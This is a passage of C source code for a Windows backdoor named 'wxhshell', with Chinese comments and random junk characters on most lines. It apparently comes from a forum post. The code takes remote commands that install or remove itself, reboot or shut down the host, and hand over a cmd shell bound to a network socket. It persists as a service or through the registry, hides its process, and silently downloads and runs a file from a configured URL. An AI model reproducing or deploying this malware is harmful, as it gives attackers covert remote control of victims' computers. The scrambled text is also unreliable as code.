    switch(cmd[0]) { "tu*YNP\Q  
  &~-~5B|3"  
  // 帮助 1S$h<RIPAc  
  case '?': { 2cf' ,cv@8  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); _:J*Cm[q  
    break; Z$'I Bv  
  } ]gEhE  
  // 安装 $-vo}k%M  
  case 'i': { .L;@=Yg )  
    if(Install()) ,EEPh>cXc  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); Qw)9r{f  
    else /_\W+^fE  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); 4MW ]EQ-  
    break; uQeu4$k!  
    } bAF )Bli  
  // 卸载 i0pU!`0  
  case 'r': { Tby,J B^U  
    if(Uninstall()) S KXD^OH  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); 1u}nm;3  
    else $Ui&D I  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); .ve *Vp  
    break; +MUwP(U=w  
    } z4 M1D9iPY  
  // 显示 wxhshell 所在路径 O}Le]2'  
  case 'p': { @Doyt{|T  
    char svExeFile[MAX_PATH]; .T.5TMiOSq  
    strcpy(svExeFile,"\n\r"); $.K?N@(W  
      strcat(svExeFile,ExeFile); \ijMw  
        send(wsh,svExeFile,strlen(svExeFile),0); rZwB> c  
    break; TGV  
    } S~F`  
  // 重启 7#-y-B]l  
  case 'b': { tRfm+hqRZ  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); .FP$ IWt/1  
    if(Boot(REBOOT)) 5/I_w0  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); 7#2j>G{?]v  
    else { >nn Y:7m  
    closesocket(wsh); KMjg;! y  
    ExitThread(0); RKTb' 3H  
    } smU4jh9S  
    break; $v27]"]  
    } g9mG`f  
  // 关机 l]#!+@  
  case 'd': { c^.l 2Q!  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); &%F@O<:  
    if(Boot(SHUTDOWN)) 30F!kP*E  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); Y=B3q8l5  
    else { fA^Em)cs2  
    closesocket(wsh); 8+'C_t/0i  
    ExitThread(0); \m/xV /  
    } 4$"DbaC  
    break; uV]ULm#,i  
    } ", B'k  
  // 获取shell [CN$ScK,  
  case 's': { $3P`DJo  
    CmdShell(wsh); eD;6okdP  
    closesocket(wsh); _ PWj(});  
    ExitThread(0); ]/dVRkZeAE  
    break; TKI$hc3|L  
  } BWq/TG=>  
  // 退出 d?L\pN&  
  case 'x': { .BZVX=x  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); m( 47s  
    CloseIt(wsh); =Hu0v}i/  
    break; TI9X.E?  
    } #hxyOq,  
  // 离开 & 0v.E"0<  
  case 'q': {  46,j9x  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); $k 2)8#\  
    closesocket(wsh); [*Ju3  
    WSACleanup(); dcq#TBo8  
    exit(1); Q~,YbZ-7  
    break; w2"]Pl  
        } --k:a$Nt  
  } `T WN^0!]  
  } Dy9\O77>  
<8o(CA\  
  // 提示信息 @LX6hm*}  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); M]EsS^/X  
} )pgrl  
  } `y!/F?o+!  
>-cfZ9{!  
  return; &a)vdlZSE=  
} kU*{4G|6  
0Xl%uF+w  
// shell模块句柄 >SI<rR[~%  
int CmdShell(SOCKET sock) e>H:/24  
{ Q GPw2Q  
STARTUPINFO si; :#X[%"g.  
ZeroMemory(&si,sizeof(si)); <+]f`c*Z  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; q&si%  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; _PXdzeI.  
PROCESS_INFORMATION ProcessInfo; 3fkk [U  
char cmdline[]="cmd"; FLr ;`3  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); _N#&psQzw  
  return 0; Dgi~rr1`'s  
} #}yTDBt  
8 %Sb+w07  
// 自身启动模式 SBfFZw)  
int StartFromService(void) #Ob]]!y  
{ T{Zwm!s  
typedef struct vv5i? F  
{ =!.m GW-Q}  
  DWORD ExitStatus; (Wj2?k/]  
  DWORD PebBaseAddress; gRgog*z  
  DWORD AffinityMask; Px;Cg 6  
  DWORD BasePriority; ;u-4KK  
  ULONG UniqueProcessId; u?0d[mC  
  ULONG InheritedFromUniqueProcessId; ]> G&jd7  
}   PROCESS_BASIC_INFORMATION; igkz2SI  
trYTs,KV  
PROCNTQSIP NtQueryInformationProcess; z'MS#6|}  
?b:_AO&  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; -T_\f?V88  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; _j ;3-m  
t&RruwN_;  
  HANDLE             hProcess; )|]dm Q-  
  PROCESS_BASIC_INFORMATION pbi; zK5bO= 0j  
P:!)9/.2  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); C7qYiSv  
  if(NULL == hInst ) return 0; vq6%Ey3Gix  
1:NS}r+>3.  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); - r#K#v3  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); :L$4*8@`+  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); ujzW|HW^v  
 Y7Gs7  
  if (!NtQueryInformationProcess) return 0; NGTe4Crx  
')TPF{\#  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); ,=By$.rr'  
  if(!hProcess) return 0; T@ 48qg  
q)I|2~Q c^  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; hnxc`VX>g  
AR B7>"  
  CloseHandle(hProcess); v 81rfB5  
'gTmH[be  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); NPJ.+ph  
if(hProcess==NULL) return 0; (6qsKX  
f&I7,"v  
HMODULE hMod; @.$MzPQQI  
char procName[255]; );JJ2Jlkd  
unsigned long cbNeeded; - q@69q  
8;zDg$ (  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); SG'JE}jzO  
aG27%(@  
  CloseHandle(hProcess); ImkrV{,e  
oY3>UZ5\  
if(strstr(procName,"services")) return 1; // 以服务启动 8T5k-HwE  
%a 8&W  
  return 0; // 注册表启动 #Z9L_gDp  
} Ap<J'?~y  
HeIS;gfUY  
// 主模块 G$=-,6kZO  
int StartWxhshell(LPSTR lpCmdLine) y-+G wa3  
{ @$U e$  
  SOCKET wsl; vDE |sT  
BOOL val=TRUE; P Jo  
  int port=0; N}Q FGX  
  struct sockaddr_in door; [)|+F wJ  
KH<v@IJ\  
  if(wscfg.ws_autoins) Install(); 2C/%gcN >  
KD*O%@X5C  
port=atoi(lpCmdLine); u{C)qb5Pu  
uHvaZMu  
if(port<=0) port=wscfg.ws_port; bZ5n,KQA5  
MCy~@)-IN  
  WSADATA data; 4rp6 C/i  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; ]VjLKFb~U  
_z"o1`{w  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   <GZhH:  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); L;)v&a7[P  
  door.sin_family = AF_INET;  WL-0(  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); GU6 qIz|  
  door.sin_port = htons(port); ;Bs^iL  
"tR}j,=S:D  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { 9k>uRV6  
closesocket(wsl); )I9aC~eAD  
return 1; ukihx?5  
} r+\/G{+=}  
<GfVMD  
  if(listen(wsl,2) == INVALID_SOCKET) { a%J /0'(d  
closesocket(wsl); ?qT(3C9p  
return 1; - 9&g[  
} ]|LgVXEpx  
  Wxhshell(wsl); z8iENECwj  
  WSACleanup(); QJXdb]Y^;  
yT:!%\F9  
return 0; ^H=o3#P~L  
hyu}}0:  
} _*`q(dYcf  
>q9{  
// 以NT服务方式启动 0k1MKzi Q  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) MSYN1  
{ $u5.!{Wq?  
DWORD   status = 0; ,nYZxYLf+  
  DWORD   specificError = 0xfffffff; cU | _  
!5.v'K'  
  serviceStatus.dwServiceType     = SERVICE_WIN32; ;=p;v .l  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; WZ* &@|w  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; Sx&mv.?X  
  serviceStatus.dwWin32ExitCode     = 0; :ICr\FY$  
  serviceStatus.dwServiceSpecificExitCode = 0; gb-tNhJa@b  
  serviceStatus.dwCheckPoint       = 0; X;]3$\F  
  serviceStatus.dwWaitHint       = 0; }td6fj_{  
b]#~39Iph  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); `A{'s %$?!  
  if (hServiceStatusHandle==0) return; m+T2vi  
4  
status = GetLastError(); Pd],}/ZG-  
  if (status!=NO_ERROR) SALCuo"L  
{ { _X#fq0}  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; vnZ/tF  
    serviceStatus.dwCheckPoint       = 0; "1%*'B^}bw  
    serviceStatus.dwWaitHint       = 0; cYD1~JX.  
    serviceStatus.dwWin32ExitCode     = status; `~E<Sf<M  
    serviceStatus.dwServiceSpecificExitCode = specificError; 5f3!NeI  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); *1v_6<;2i<  
    return; T&*eOr  
  } UJwq n"Q^  
.~,^u  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; V=9Bto00  
  serviceStatus.dwCheckPoint       = 0; }wL3mVz  
  serviceStatus.dwWaitHint       = 0; !F,s"  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); !Bncx`pl  
} MM*-i=  
,O9`X6rh'  
// 处理NT服务事件,比如:启动、停止 05g?jV  
VOID WINAPI NTServiceHandler(DWORD fdwControl) my=~"bw4  
{ -faw:  
switch(fdwControl) ~ i'C/[P  
{ Iq@IUFpc7~  
case SERVICE_CONTROL_STOP: 44|03Ty  
  serviceStatus.dwWin32ExitCode = 0; %w@ig~vD'  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; ASM1Y]'Z  
  serviceStatus.dwCheckPoint   = 0; .lG +a!)  
  serviceStatus.dwWaitHint     = 0; _!;\R7]  
  { %\_h7:  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); J{x##p<F$  
  } cuNq9y;[  
  return; >rRjm+vg  
case SERVICE_CONTROL_PAUSE: lmp R>@o"  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; =ZrjK=K  
  break; N N*Sb J0  
case SERVICE_CONTROL_CONTINUE: >oB ?  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; : n`0)g[(  
  break; b@F_7P%  
case SERVICE_CONTROL_INTERROGATE: <H_LFrB$W  
  break; WMA*.$Zi  
}; M'vXyb%$1  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); LA>dkPB  
} A1 b6Zt  
; ?j~8  
// 标准应用程序主函数 qG*_w RF  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) `F@f?*s:  
{ yT2vO_rH  
YFAnlqC  
// 获取操作系统版本 0= gF6U  
OsIsNt=GetOsVer(); ua!D-0  
GetModuleFileName(NULL,ExeFile,MAX_PATH); Q.uR<C6)v  
#Z#_!o  
  // 从命令行安装 ?({PcF/  
  if(strpbrk(lpCmdLine,"iI")) Install(); B1HQz@^  
d`<#}-nh  
  // 下载执行文件 C`z;,!58%  
if(wscfg.ws_downexe) { =b|)Wnt2f  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) F ^[M  
  WinExec(wscfg.ws_filenam,SW_HIDE); ^>t-v  
} c|3h|  
Dt (:u,%  
if(!OsIsNt) { s2 wwmtUCN  
// 如果时win9x,隐藏进程并且设置为注册表启动 5Bzuj`  
HideProc(); .v$ue`  
StartWxhshell(lpCmdLine); IcO9V<Q|  
} &0FpP&Z(  
else h^Arb=I  
  if(StartFromService()) Sk!v,gx  
  // 以服务方式启动 ]Oig ..LJ  
  StartServiceCtrlDispatcher(DispatchTable); d+1L5}Jn  
else R^F7a0"  
  // 普通方式启动 ?Of{c,2 .  
  StartWxhshell(lpCmdLine); W[@"H1bVH  
av7q>NEZ!1  
return 0; Vl&+/-V  
}
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只看该作者 1 发表于: 2006-10-10
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